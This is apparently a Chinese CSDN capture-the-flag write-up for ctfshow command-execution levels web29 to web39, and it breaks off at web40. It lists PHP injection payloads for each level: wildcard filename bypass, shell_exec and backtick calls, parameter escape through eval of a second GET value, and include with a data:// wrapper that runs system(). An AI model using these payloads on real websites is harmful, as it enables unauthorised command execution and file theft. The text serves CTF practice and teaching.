ctfshow——命令执行

本文详细介绍了PHP中的各种安全漏洞,包括利用通配符*绕过Web服务器限制、调用shell_exec等命令执行函数、参数逃逸技巧以及配合file包含和data协议的伪协议攻击。提醒开发者注意防止这些常见漏洞。
摘要由CSDN通过智能技术生成

web 29——通配符*绕过

在这里插入图片描述
i不区分大小写,直接?c=system('tac fl*.php');

在这里插入图片描述

web30——调用其他命令执行函数

在这里插入图片描述
调用其他代码执行函数,如shell_exec,该函数需要输出。payload:?c=echo shell_exec('tac fl*');。也可以使用反撇号代替shell_exec
在这里插入图片描述

web 31——参数逃逸

在这里插入图片描述
这里对c参数的过滤比较严谨,可以考虑将代码写到其他参数中。?c=eval($_GET[m]);&m=system('tac flag.php');

在这里插入图片描述

注意:

  1. payload不能这样写:?c=eval($_GET[m];);&m=system('tac flag.php')
    在这里插入图片描述
  2. 关于GET和POST传参参数写法,可以这样写$_GET[1]$_GET[x]$_GET[cmd]$_GET["cmd"]$_GET{cmd},不能这样写$_GET['x']

web 32-web 36——配合文件包含+伪协议

在这里插入图片描述
payload:?c=include%0a$_GET[x]?>&x=data://text/plain,<?php system('ls');?>

  • %0a作用,这是url回车符,因为空格被过滤。事实上,删去也无所谓,似乎php会自动给字符串和变量间添加空格(经检验,只在eval中有效,echo中无效,还是得要空格)
  • 后面的?>的作用是作为绕过分号,作为语句的结束。原理是:php遇到定界符关闭标签会自动在末尾加上一个分号。简单来说,就是php文件中最后一句在?>前可以不写分号。
  • data协议用法:data://text/plain,<?php [php代码 ]?>

在这里插入图片描述

web 37-web 39——文件包含

在这里插入图片描述
直接文件包含:c=data://text/plain,<?php system('tac f*')?>
在这里插入图片描述

web 40——

  • 8
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值